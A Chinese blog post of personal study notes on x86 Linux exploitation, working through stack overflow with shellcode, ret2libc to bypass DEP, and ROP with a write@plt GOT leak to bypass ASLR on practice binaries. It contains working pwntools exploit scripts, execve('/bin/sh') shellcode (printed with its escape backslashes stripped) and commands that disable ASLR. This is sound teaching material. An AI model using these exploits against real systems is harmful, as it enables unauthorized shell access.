zoukankan      html  css  js  c++  java
  • 一步一步学ROP之linux x86 学习笔记

    Control Flow Hijacking

    ROP 全称 Return-oriented Programming

    gcc –fno-stack-protector –z execstack –m32 –o level1 level1.c #关闭DEP和Stack Protector

    su -s

    echo 0 > /proc/sys/kernel/randomize_va_space #关闭ASLR


    这个东西很好 pattern.py

    ./pattern.py create 150

    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9

    python pattern.py offset xxxx

    image

    构造一个A*140+ret的字符串,然后让pc执行ret地址上的代码

    生成shellcode


    控制pc跳转到shellcode的地址上,那么有一个问题,gdb调试环境会影响buf在内存中的位置

    开启core dump功能:

    ulimit –c unlimited

    sudo sh –c 'echo “/tmp/core.%t” > /proc/sys/kernel/core_pattern’

    开启之后,当出现内存错误的时候,系统会生成一个core dump在tmp目录下。

    溢出点位140个字节,再加上4个字节的rer地址,所以buffer地址为$esp – 144

    然后gdb level /tmp/core.????

    Core was generated by `./level1'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x41414141 in ?? ()

    然后输入x/10s $eip –144

    构造脚本

    #!/usr/bin/env python
    from pwn import *

    p = process('./level1')
    #p = remote('127.0.0.1',10001)
    ret = 0xffffd090

    # execve ("/bin/sh")
    # xor ecx, ecx
    # mul ecx
    # push ecx
    # push 0x68732f2f   ;; hs//
    # push 0x6e69622f   ;; nib/
    # mov ebx, esp
    # mov al, 11
    # int 0x80

    shellcode = "x31xc9xf7xe1x51x68x2fx2fx73"
    shellcode += "x68x68x2fx62x69x6ex89xe3xb0"
    shellcode += "x0bxcdx80"

    payload =  shellcode + 'A' * (140 - len(shellcode))   + p32(ret)

    p.send(payload)

    p.interactive()

    Ret2libc 通过ret2lib绕过DEP 保护

    我们如果使用level1的exp来进行测试的话,系统会拒绝执行我们的shellcode。如果你通过sudo cat /proc/[pid]/maps查看,你会发现level1的stack是rwx的,但是level2的stack却是rw的。

    level1: bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
    level2: bffdf000-c0000000 rwxp 00000000 00:00 0 [stack]

    那么如何执行shellcode呢?我们知道level2调用了libc.so,并且libc.so里保存了大量可利用的函数,我们如果可以让程序执行system(“/bin/sh”)的话,也可以获取到shell。既然思路有了,那么接下来的问题就是如何得到system()这个函数的地址以及”/bin/sh”这个字符串的地址。

    如果关掉了ASLR的话,system()函数在内存中的地址是不会变化的,并且libc.so中也包含”/bin/sh”这个字符串,并且这个字符串的地址也是固定的。那么接下来我们就来找一下这个函数的地址。这时候我们可以使用gdb进行调试。然后通过print和find命令来查找system和”/bin/sh”字符串的地址。

    #总结一下 意思就是从libc.so中得到system函数以及/bin/sh字符串(ASLR 没开)

    $gdb ./level2

    (gdb)break main

    (gdb) run

    (gdb) print system (这么好用的吗)

    $1 = {<text variable, no debug info>} 0xf7e52e70 <system>

    (gdb) print __libc_start_main

    $2 = {<text variable, no debug info>} 0xf7e2c9e0 <__libc_start_main>

    (gdb) find 0xf7e2c9e0 ,+2200000,”/bin/sh” (从__libc_start_main的地方开始往下找)

    很遗憾,我没有搜索到

    贴一下脚本好了,学习一下姿势

    #!/usr/bin/env python
    from pwn import *

    p = process('./level2')
    #p = remote('127.0.0.1',10002)

    ret = 0xdeadbeef
    systemaddr=0xb7e5f460
    binshaddr=0xb7f81ff8

    payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

    p.send(payload)

    p.interactive()

    ROP -Bypass DEP and ASLR 通过ROP绕过DEP和ASLR防护

    开了ASLR保护之后,cat /proc/pid/maps,每次的地址都是不一样的

    image

    image这个图很好

    根据之前学的,这个和got劫持有点相似。

    objdump –d –M intel ./level3 >level3.txt 看调用函数 (IDA 也可以做到)

    一个好的知识:

    我们发现除了程序本身的实现的函数之外,我们还可以使用read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

    因为system()函数和write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了write()的地址并且拥有目标服务器上的libc.so就可以计算出system()在内存中的地址了。然后我们再将pc指针return回vulnerable_function()函数,就可以进行ret2libc溢出攻击,并且这一次我们知道了system()在内存中的地址,就可以调用system()函数来获取我们的shell了。实际地址 = libc_base + offset

    贴个脚本

    #!/usr/bin/env python
    from pwn import *

    libc = ELF('libc.so')
    elf = ELF('level2')

    #p = process('./level2')
    p = remote('127.0.0.1', 10003)

    plt_write = elf.symbols['write']
    print 'plt_write= ' + hex(plt_write)
    got_write = elf.got['write']
    print 'got_write= ' + hex(got_write)
    vulfun_addr = 0x08048404
    print 'vulfun= ' + hex(vulfun_addr)

    payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

    print " ###sending payload1 ...###"
    p.send(payload1)

    print " ###receving write() addr...###"
    write_addr = u32(p.recv(4))
    print 'write_addr=' + hex(write_addr)

    print " ###calculating system() addr and "/bin/sh" addr...###"
    system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
    print 'system_addr= ' + hex(system_addr)
    binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
    print 'binsh_addr= ' + hex(binsh_addr)

    payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

    print " ###sending payload2 ...###"
    p.send(payload2)

    p.interactive()

  • 相关阅读:
    scala初体验
    获取GeometricNetwork中所有的Junction
    开始一点一滴积累
    升级ArcEngine How to migrate ArcGIS 9.3 Desktop and Engine standalone applications to ArcGIS 10
    OpenGIS简要参考
    IIS5.1部署WCF4 REST Service注意事项
    [转]LINQ SubmitChanges方法 (并发处理)
    BAT常用命令
    DataContext.GetChangeSet方法 (得到改变内容的行)
    SQL 数据库操作
  • 原文地址:https://www.cnblogs.com/rookieDanny/p/8563114.html
Copyright © 2011-2022 走看看